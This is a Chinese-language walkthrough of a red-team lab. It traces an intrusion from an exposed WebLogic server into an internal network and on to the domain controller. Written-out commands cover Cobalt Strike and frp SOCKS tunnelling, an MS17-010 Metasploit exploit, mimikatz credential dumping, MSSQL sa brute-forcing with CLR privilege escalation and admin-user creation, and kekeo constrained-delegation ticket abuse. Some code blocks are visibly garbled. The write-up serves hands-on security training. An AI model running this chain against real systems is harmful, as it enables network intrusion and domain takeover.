漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控


从外网 Weblogic 打进内网,再到约束委派接管域控

靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

本靶场存在的漏洞:

1
2
3
4
5
6
7
8
9
GPP:admin:admin!@#45
存在 GPP 漏洞
存在 MS14-068
存在 CVE-2020-1472
Exchange 各种漏洞都可尝试
可尝试非约束委派
可尝试约束委派
存在 CVE-2019-1388
存在 CVE-2019-0708

环境搭建

虚拟机文件比较大,解压之后有 74.8G,所以要保证有足够的空间,建议使用固态硬盘,解压之后直接使用 VMware 扫描虚拟机并依次获取权限

image-20220507102253091

网站拓扑

图片

更新一下上图的环境

1
2
3
4
网关 IP:192.168.43.252
Kali IP:192.168.43.58
Windows 11 hacker IP:192.168.43.166
Windows 2012 IP:192.168.43.92

发现 Windows 可以 ping 通 Kali,但是 kali 却 ping 不通,很容易想到是 Windows 的防火墙问题,关掉即可

还需要注意一个问题,这里选择的是桥接模式,之前都是 nat,其实用哪一种都行

image-20220507144405849

这个图就很好地说明了之前的区别,就是使用 nat 模式的物理机是可以访问所有虚拟机的但是虚拟机无法访问物理机,使用桥接就可以相互访问,还有说如果是需要认证的校园网大概率用户不了桥接模式(虚拟机没法联网)

靶机一的 weblogic 需要手动开启

1
weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)

1.外网打点

目标 IP:192.168.43.92

使用 nmap 进行端口扫描服务发现

1
nmap -sV -sT -Pn 192.168.43.92

在一般实战中建议制定端口扫描,因为速度快且扫描精度高

1
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.43.92

image-20220507152533105

发现开放了 7001 端口,即 weblogic 服务

1
http://192.168.43.92:7001/console/login/LoginForm.jsp

image-20220507150339521

利用工具下载,过于脚本小子了

image-20220507152649200

执行命令发现是 administrator 权限,并且可以连通外网

image-20220507152734392

2.上线 CS

直接执行 Powershell 命令上线 CS

在 VPS 或者虚拟机 kali 上开启 CS server,生成监听器,执行命令

image-20220507160155736

上线

image-20220507160209182

通过命令发现存在第二个网卡,是一个内网网段

image-20220507160554444

3.内网横向

信息收集

  • 抓取主机密码

    image-20220507161002707

    1
    WEBLOGIC\Administrator ccef208c6485269c20db2cad21734fe7

    靶机为 WinServer 2012 所以不能直接读明文密码

  • 判断是否在域内

    1
    ipconfig /all

    image-20220507162339102

    判断在工作组中而不是在域中

    使用以下两条命令再确认一下

    1
    2
    systeminfo
    net config workstation

    image-20220507162536101

    image-20220507162502035

存活探测&漏洞扫描

CS 导入 Cobalt-Strike-Aggressor-Scripts 插件组,插件下载地址:https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts

image-20220507163012012

加载之后右击主机列表会出现很多工具

image-20220507163102893

向 Victim 机器上传 nbtscan,之后执行 nbtscan 输入目标 10.10.20.0/24

image-20220507163330797

发现一台机器 IP 为 10.10.20.7

通过文件管理上传 fscan 进行扫描

1
shell fscan_win32.exe -h 10.10.20.0/24

确定目标机器为 win7 系统,并且存在永恒之蓝

image-20220507163928351

搭建代理

  1. 搭建 Frp 隧道,进行漏洞利用,Kali 上配置 Frps.ini 配置文件

    image-20220507164347971

    启动 Frps

    1
    ./frps -c frps.ini

    image-20220507164613634

  2. Victim 上传 frpc.exe 和 frpc.ini

    1
    2
    3
    4
    5
    6
    7
    8
    [common]
    server_addr = VPS/kali ip
    server_port = 7000

    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5

    启动 frpc

    1
    shell frpc.exe -c frpc.ini

    image-20220507165114178

    启动之后代理就搭建完毕了,这样攻击者就可以通过跳板机 weblogic 靶机向内网发起访问请求

ms17010

因为内网 win7 主机存在 ms17010 直接用 msf

首先拿到 meterpreter 会话

1
2
3
4
5
6
msf6 > setg Proxies socks5:192.168.43.58:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

proxy 的 IP 就是 kali 的 IP,rhost 就是内网地址

在 msf 攻击中可以清晰的看到攻击流程,使用的是目标 smb 445 端口

第一次以蓝屏终结

image-20220508105156665

MSF永恒之蓝mf17010失败原因

  1. 一次没有成功再多次尝试
  2. 目标机器蓝屏
  3. MSF payload 为 64 位目标机器也需要 64 位,也 python 有 32 位 的 payload
  4. 永恒之蓝流量比较大

修改了下 win7 靶机内存调整到了 2G,第二次尝试成功

image-20220508105707845

拿到 meterpreter

image-20220508105805150

抓密码

加载 mimikatz 读密码

1
2
3
load mimikatz
msv
kerberos

image-20220508105943889

image-20220508110552191

也可以加载新版 mimikatz - wiki

image-20220508110643832

可以发现没有明文密码,因为 win7 管理员没有登录,所以没有抓取到明文密码,只需要管理员登录机器再次执行命令就可以抓到明文密码

image-20220508111022485

4.二层内网域渗透

PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接

server 2012 weblogic:192.168.43.93

kali:192.168.43.99

win7上线cs

在 cs 中 win7 中转上线,现在上线 cs 的几种思路

  1. msf 上传 cs 的后门 exe 执行
  2. msf 的 meterpeter spawn 到 cs 会话
  3. cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行

使用方案一

1.CS 设置中转监听器

image-20220508111333148

image-20220508111338364

2.生成后门

image-20220508131115128

把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7

image-20220508132517982

进入 shell,执行 beacon.exe

image-20220508132547578

成功上线 cs

image-20220508132607160

内网信息收集

  • ```
    shell whoami
    1
    2
    3

    ![image-20220508132840943](https://img-blog.csdnimg.cn/img_convert/12afe22796d469144f3460cf54ef126d.png)

    shell ipconfig
    1
    2
    3
    4
    5
    6
    7

    发现内网 10.10.10.0/24 段

    ![image-20220508132931259](https://img-blog.csdnimg.cn/img_convert/54805adf717446c36e389f2f90ded000.png)

    - **判断是否域环境**

    shell ipconfig /all
    1
    2
    3

    ![image-20220508133208864](https://img-blog.csdnimg.cn/img_convert/db34af5ab312f9c6f65eb8ebf667d3dc.png)

    shell net user /domain
    1
    2
    3
    4
    5

    ![image-20220508133248296](https://img-blog.csdnimg.cn/img_convert/e40d870b22c1485565e4a46cfb11a176.png)

    - 确定域控主机 IP

    net group “Domain Controllers” /domain
    或者 net time /domain
    ping owa -n 2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23

    ![image-20220508133655941](https://img-blog.csdnimg.cn/img_convert/55d83e5cc5fcbc3dbf6231aeafb703e1.png)

    ![image-20220508133445538](https://img-blog.csdnimg.cn/img_convert/86dc629e56bf721bc246b18d5382c673.png)

    当前进程是没有域管的,所以暂且放弃令牌窃取

    ![image-20220508134529747](https://img-blog.csdnimg.cn/img_convert/1264e8d021f1d34c6d2a4df6a5266370.png)

    由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户

    首先向 win7 靶机上传 adfind 工具

    ```bash
    # 查询配置了非约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    # 查询配置了非约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    # 查询配置了约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    # 查询配置了约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20220508135251614

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密

上传 fscan.exe 到靶机进行信息收集和漏洞扫描

image-20220508154210862

PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了

看这篇文章:链接,因为过试用期了,需要升级重新输入密码

正常启动

image-20220508154057558

根据他开放的端口尝试以下操作:

  1. 80 端口 web 漏洞
  2. 1433 SQL server 漏洞
  3. 445 smb 等端口系统漏洞

其他拿域控思路:域控被突破的几种途径v2

二层Frp代理

现在尝试 80 端口漏洞

image-20220508161840412

  1. 搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini

    image-20220508155905811

    启动 frps

    1
    shell frps.exe -c frps.ini
  2. 数据服务器开启 frpc

    1
    shell frpc.exe -c frpc.ini
    1
    2
    3
    4
    5
    6
    7
    8
    [common]
    server_addr = 10.10.20.12
    server_port = 1111

    [http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5

    建立链接

    image-20220508162507851

    image-20220508162514238

  3. 在攻击者的 windows 电脑上可以用 proxifier 设置代理链

    image-20220508162704748

    image-20220508162717407

    在攻击者的 windows 电脑上可以正常访问 10.10.10.18

    image-20220508162922505

发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击

打数据服务器SQL server

尝试爆破 SQL server 密码

使用工具成功爆破用户密码

image-20220508163342992

可以看到流量被转发

image-20220508163339943

这样就拿到了域控主机的 SQL server 密码

随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具

1
.\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami

image-20220508164101746

却认为域控 ip

image-20220508164215612

目前的权限是nt authority\network service 即为普通服务权限,

由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了

image-20220508164827961

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧

一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在

image-20220508165057165

确实存在此目录,尝试写入文件,权限太小失败

image-20220508165248135

在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:https://www.anquanke.com/post/id/250346

在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp

使用 SharpSQLTools 开启目标 clr,进行提权

1
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

image-20220508165906554

然后启用并调用命令:

1
2
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

image-20220508170007322

提权成功,只能说太牛皮了

添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123

1
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"

image-20220508170331564

升级为 admin 组

1
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"

image-20220508170508054

查看用户

1
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"

image-20220508170619457

其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到

上线CS

漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可

1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18

1
vi /etc/proxychains.conf

代理链就和 Windows 物理机一样

image-20220508172723808

2.上线 msf

使用代理启动 msf

1
proxychains msfconsole

使用 mssql_clr_payload 模块

1
use exploit/windows/mssql/mssql_clr_payload

image-20220508172257116

3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理

生成 beacon.exe

4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限

使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机

5.域内委派拿域控

cs 中拿到用户密码

image-20220509080607350

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控

通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

1
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

1
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

image-20220509082530523

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

1
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image-20220509082625206

image-20220509082653026

参考链接

http://moonflower.fun/index.php/2022/03/06/300/

https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

https://xie.infoq.cn/article/2edac2bc38860fa97386f7c27